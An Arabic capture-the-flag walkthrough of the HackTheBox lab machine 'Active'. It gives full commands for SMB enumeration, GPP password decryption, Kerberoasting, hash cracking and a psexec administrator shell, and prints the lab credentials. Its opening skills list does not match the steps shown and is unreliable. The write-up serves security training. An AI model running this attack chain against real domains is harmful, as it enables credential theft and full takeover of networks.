> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md).

# شرح Active HackTheBox

{% embed url="<https://app.hackthebox.com/machines/148>" %}

{% hint style="warning" %}
**المهارات**:

* استكشاف SMB
* كسر حماية ملف ZIP المحمي بكلمة مرور (fcrackzip)
* كسر وقراءة ملف .PFX (crackpkcs12)
* الحصول على وصول SSL باستخدام Evil-WinRM
* تسريب معلومات - قراءة سجل Powershell الخاص بالمستخدم (الانتقال عبر المستخدم)
* استغلال LAPS للحصول على كلمات المرور (Get-LAPSPasswords.ps1) (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/05ad04a3a56203a7d975f9d92ac80f0550c60125" alt=""><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/92ec22c9bc2daa8fa02a6a1d7cedb98f41b33959" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**/ تعداد المنافذ المفتوحة وتصدير النتائج إلى ملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
```

<figure><img src="/files/d7a3ebc40308de676290bc4e0a5a7c846205cb8b" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

<div data-full-width="true"><figure><img src="/files/1afe42e80747497dac6e7329b1a9d95b5944890e" alt=""><figcaption></figcaption></figure></div>

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted
```

<figure><img src="/files/40a6b6a8bc0f727ed2debf527f6bda0ca09f0a83" alt=""><figcaption></figcaption></figure>

## **الاستكشاف والاستغلال:**

### **استكشاف SMB:**

استخدم crackmapexec لسرد الأنظمة والعثور على اسم النطاق.

```bash
crackmapexec smb 10.10.10.100
```

<figure><img src="/files/61f8f8cc9e33641a58098212f10fbfc6b6cc9dda" alt=""><figcaption></figcaption></figure>

#### **ضبط الوقت باستخدام NTP:**

اضبط وقت الجهاز الهدف لتجنب المشكلات

```bash
ntpdate 10.10.10.100
```

<figure><img src="/files/10da2a3056ef27db0d66db0ab6fd3227e73a64f7" alt=""><figcaption></figcaption></figure>

#### التهيئة /etc/hosts:

تمت إضافة متحكم النطاق إلى ملف hosts للسماح بالـ ping:

<figure><img src="/files/64c5ef83b5f6e2e95bda219a3c56a09982cb0c70" alt=""><figcaption></figcaption></figure>

### **سرد الموارد المشتركة**

استخدم smbclient أو smbmap لاستكشاف الموارد المشتركة على الشبكة.

```bash
smbclient -L 10.10.10.100 -N
```

<figure><img src="/files/536beda4c6ff41326d8dffed5be418e20a7456e4" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100
```

<figure><img src="/files/b77f3011e475f1966c0709a9cc82bdc3708f877f" alt=""><figcaption></figcaption></figure>

### **البحث عن ملفات محددة**:

استكشف الأدلة بحثًا عن ملفات ذات صلة

```bash
smbmap -H 10.10.10.100 -r Replication
```

<figure><img src="/files/d64b0c129b850a436665e084ca247d2b35402afe" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100 -r Replication/active.htb
```

<figure><img src="/files/d0b6ce0620baa58686c530146bb57fb1bcd25b45" alt=""><figcaption></figcaption></figure>

الـ `groups.xml` تم تحديد ملف قد يحتوي على معلومات سرية.

```bash
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
```

<div data-full-width="true"><figure><img src="/files/deb37572bd42a3ba0513dab62a660ea727d6ec3d" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/4d39e52819ebfae05dd3f6637ee7e098273fef90" alt=""><figcaption></figcaption></figure></div>

### **فك تشفير كلمة المرور:**

استخدم `gpp-decrypt` لفك تشفير كلمات المرور المخزنة.

```bash
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

<figure><img src="/files/9f642641bd6bec75a96159669bedab42706f64de" alt=""><figcaption></figcaption></figure>

### **التحقق من المعرّف:**

استخدم crackmapexec للتحقق مما إذا كانت المعرفات صالحة

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
```

<figure><img src="/files/a42f5e8ff5b37b72ee352a2db7d43da66e200767" alt=""><figcaption></figcaption></figure>

### **استكشاف الأذونات:**

استخدم crackmapexec و smbmap لاستكشاف الأذونات على المشاركات الشبكية.

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
```

<figure><img src="/files/9a3da5577a2b7e022b9c1acf8e16b88dc4067439" alt=""><figcaption></figcaption></figure>

### تم الحصول على علم user.txt:

```bash
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users
```

<figure><img src="/files/2b2bf8870b785cf64bba168b17d5d00680dd0bdd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5ca6d4ae821cc7ba4388cc14c1b5446dabea1f58" alt=""><figcaption></figcaption></figure>

### **تسجيل الدخول إلى متحكم النطاق:**

استخدام rpcclient للاتصال بمتحكم النطاق واستكشاف المستخدمين والمجموعات:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
```

<figure><img src="/files/29ab59516aac8b3d73495f5a698a0309f682d777" alt=""><figcaption></figcaption></figure>

#### - لتحديد أعضاء مجموعة المسؤولين:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'
```

#### - للحصول على المستخدمين في مجموعة محددة:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'
```

<figure><img src="/files/cb89c854923b797eeeb2c19db900c902da3c8c32" alt=""><figcaption></figcaption></figure>

#### - لسرد أوصاف جميع المستخدمين:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'
```

<div data-full-width="true"><figure><img src="/files/fb6649b16e615ed5ad01d1ef73dbc40ec0147bdb" alt=""><figcaption></figcaption></figure></div>

## ثغرة [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast):

تم استغلال ثغرة Kerberoast بنجاح من خلال الأمر التالي:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
```

يستعيد هذا الأمر تذكرة خدمة TGS الخاصة بـ Grant-Ticketing Service التي تستغل الثغرة.

ثم، للحصول على هاش المسؤول، تتم إضافة المعلمة -request إلى الأمر:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

<figure><img src="/files/9deb538e200e8c51d26ef2b800243e9d477e11cd" alt=""><figcaption></figcaption></figure>

## **الاستغلال النهائي:**

### **كسر التجزئة:**

استخدم John لمحاولة كسر الهاشات التي تم الحصول عليها.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/058919bdf42b9aa7d113a94b78214cf610f2e143" alt=""><figcaption></figcaption></figure>

### **التحقق من المعرّف:**

استخدم crackmapexec للتحقق من بيانات الاعتماد التي تم الحصول عليها

```bash
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
```

<div data-full-width="true"><figure><img src="/files/11c03ce40bd17d73e1a56cd8d3df3655f5b40e8c" alt=""><figcaption></figcaption></figure></div>

### **تنفيذ Psexec:**

استخدم psexec.py للحصول على shell تفاعلية بصلاحيات المسؤول.

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/fa555c8bed083f373eab0ee576f11ad39d9dfb7f" alt=""><figcaption></figcaption></figure>

### **تم الحصول على العلم النهائي:**

تم الحصول على العلم النهائي بنجاح بعد اكتساب وصول المسؤول.

<figure><img src="/files/3d73349d4806a4f9cf4dfb186995829a7c416fa8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/440a5a50367e413c45047f6e175535944cfe6d4e" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
